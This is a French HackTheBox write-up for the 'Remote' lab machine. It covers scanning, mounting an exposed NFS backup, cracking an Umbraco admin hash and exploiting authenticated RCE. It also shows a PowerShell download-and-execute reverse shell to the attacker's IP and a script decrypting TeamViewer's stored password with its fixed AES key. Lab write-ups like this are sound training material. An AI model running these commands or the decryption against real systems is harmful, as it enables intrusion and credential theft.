> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md). # Compte rendu HackTheBox de Remote {% embed url="" %} {% hint style="warning" %} **Compétences**: * Énumération Web * Énumération NFS - Showmount * Fuite d'informations * Exploitation du panneau d'administration Umbraco * Umbraco CMS - Exécution de code à distance par des administrateurs authentifiés * Obtention du mot de passe TeamViewer à partir du registre système (AES128 - CBC) (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :**/ Énumérer les ports ouverts et exporter les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts ```

**Analyse des ports ouverts avec extractport :**/ Utilisation de la fonction extractport pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

**Analyse des versions des ports avec Nmap :**/ Utiliser Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted ```

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` le fichier

### Web (port 80) : ```bash whatweb http://remote.htb ```

### SMB - port 445 Liste **SMB :** ```bash crackmapexec smb 10.10.10.180 ```

### **Client SMB (session nulle) :** ```bash smbclient -L 10.10.10.180 -N ```

### FTP (21) anonyme Nous avons la possibilité de nous connecter via FTP avec l'utilisateur anonyme, mais nous ne pouvons ni lister ni ajouter de fichiers. ```bash ftp 10.10.10.180 put test.txt ```

## Service NFS (port 2049) {% hint style="info" %} Le Network File System (NFS) est un protocole de niveau applicatif OSI. Il est utilisé pour créer des systèmes de fichiers distribués dans un réseau local, permettant à différents systèmes connectés d'accéder à des fichiers distants comme s'ils étaient locaux. {% endhint %} Pour lister les fichiers avec `mount`: ```bash showmount -e 10.10.10.180 ``` Nous voyons un `/site_backups` qui est visible par tous.

Pour importer ce fichier, vous devez créer un répertoire et le monter sur notre machine comme suit : ```bash mkdir /mnt/mounted_files mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files ```

Avec `tree`, nous allons lister tous les dossiers dans l'arborescence pour nous faire une idée : ``` tree -L 2 ``` Nous voyons un `.config` configuration et `sdf` dossier de la base de données Umbraco (un CMS) du port 80.

Le `.conf` le fichier ne contient rien d'intéressant, et le `umbraco.sdf` est un fichier binaire.

Nous allons utiliser `strings` pour afficher les caractères visibles et les mettre dans notre répertoire pour une analyse détaillée : ```bash strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output ``` Nous trouvons des mots de passe "admin" et un utilisateur "smith".

### Cassage des mots de passe : Admin (hash) : `b8be16afba8c314ad33d812f22a04991b90e2aaa` {% embed url="" %}

Admin : `baconandcheese` #### Comme SMB est exposé, utilisez CrackMapExec pour vous authentifier et valider l'accès ```bash crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese' crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese' ``` #### aucun effet

## Vulnérabilité RCE (Umbraco CMS) Nous trouvons un panneau d'administration et allons essayer l'authentification de l'utilisateur admin : `admin@htb.local:baconandcheese`

Nous avons accès.

Nous allons rechercher `Searchsploit` les vulnérabilités de ce CMS et trouver un script NCE pour Umbraco.

`searchsploit -m aspx/webapps/46153.py` Nous allons modifier les paramètres de connexion, de mot de passe et d'hôte dans le script.

**Vérifiez la connectivité avec ping :**/ Nous exécuterons cette commande sur le serveur, et nous écouterons avec tcpdump ```bash /c ping 10.10.14.6 tcpdump -i tun0 icmp ```

Une fois que nous verrons que nous pouvons exécuter des commandes, nous téléchargerons le `PS.ps1` script sur notre machine. {% embed url="" %} À la fin du script, nous ajoutons la ligne suivante : ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444 ```

Nous allons créer un serveur web avec le `PS.ps1` script : ```bash python3 -m http.server 80 ``` Ensuite, nous modifierons la commande pour qu'elle pointe vers notre serveur web : {% code fullWidth="true" %} ``` /c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/') ``` {% endcode %} Enfin, nous écoutons sur le port 4444 : ```bash rlwrap nc -nlvp 4444 ```

Accès au `user.txt` fichier et en constatant que TeamViewer est installé

## Élévation de privilèges : Si vous regardez les tâches en cours d'exécution, vous pouvez voir TeamViewer version 7. ```powershell tasklist /svc ```

En recherchant dans les scripts Metasploit, nous en trouvons un qui peut récupérer le mot de passe de TeamViewer : ```powershell locate teamviewer | grep metasploit ```

Lors de l'analyse du script, vous devez d'abord obtenir la clé (selon la version) depuis le registre : `HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version` Ensuite, les propriétés de sécurité doivent être examinées, en particulier le mot de passe AES : ```powershell cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7 (Get-ItemProperty .).SecurityPasswordAES ```

Placez les octets suivants dans `ciphertext`: `255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91` ### Script Python Automatisation : Voici le script qui automatise l'ensemble du processus : ```python from itertools import product from Crypto.Cipher import AES import Crypto.Cipher.AES IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04" key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00" decipher = AES.new(key,AES.MODE_CBC,IV) ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91]) plaintext = decipher.decrypt(ciphertext).decode() print(plaintext) ```

Le mot de passe est `!R3m0te!`. Nous vérifierons avec CrackMapExec si le mot de passe est correct pour l'utilisateur `Administrator`: ```bash crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!' ```

Nous nous connectons avec Evil-WinRM, car le service d'administration Windows à distance est actif sur le port 5985 :

evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'

### Flag root final :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.